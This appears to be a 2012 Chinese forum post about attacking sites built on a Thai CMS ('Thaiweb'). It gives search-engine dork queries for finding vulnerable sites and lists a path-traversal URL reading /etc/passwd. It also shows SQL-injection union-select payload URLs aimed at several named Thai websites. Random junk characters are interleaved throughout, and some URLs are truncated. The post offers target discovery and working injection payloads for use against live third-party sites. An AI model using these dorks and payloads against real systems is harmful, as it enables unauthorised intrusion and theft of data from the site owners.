Google之:+ _5 p1 Y+ z4 w3 V3 g# Q
/ A8 C L) z# u7 S
intext:powered by Thaiweb
6 t0 |) i# i0 {( B- E3 N
- w$ \: v/ l; k' h( uinurl:index.php?page=board.php, a/ \' Y! F8 V p6 v
3 s1 C$ Z& n2 s+ b2 j
( \) r+ c: _6 m$ z3 ?4 |8 c/ G0 H' }9 f: W3 j$ y0 G% u" f4 g1 M
利用点1:http://www.xfack.com/index.php?p ... ../../../etc/passwd
* x/ @& k$ C# \6 x: V. Q! d* J h( d6 z
1 a0 m. U% j7 d( ?, ^
, w' k) |/ j6 V( `4 V1 R0 ]8 h
利用点2:http://www.xfack.com/index.php?page=boardque.php&bod_id=4'
% @8 S" Y' A7 v2 k# h# c' v1 M9 z
6 O) _, ^8 O# X& ^- A: W- U7 Z
$ ~/ o$ R+ j" n! x) W
" x, {& R5 s+ t: F0 A% t$ Chttp://www.keytasin.com//index.p ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--9 O6 ]. U! I* Q9 w% K" b& {
% @. P3 d$ h* c2 a
http://www.autopartnerthailand.c ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--0 B- J: N; G! v
7 r9 M! L: ]: W
http://gift.in.th/index.php?page ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--
; j# S( ~- ^: K4 D, P# { |
发表于 2012-12-27 08:38:39
收藏
支持
反对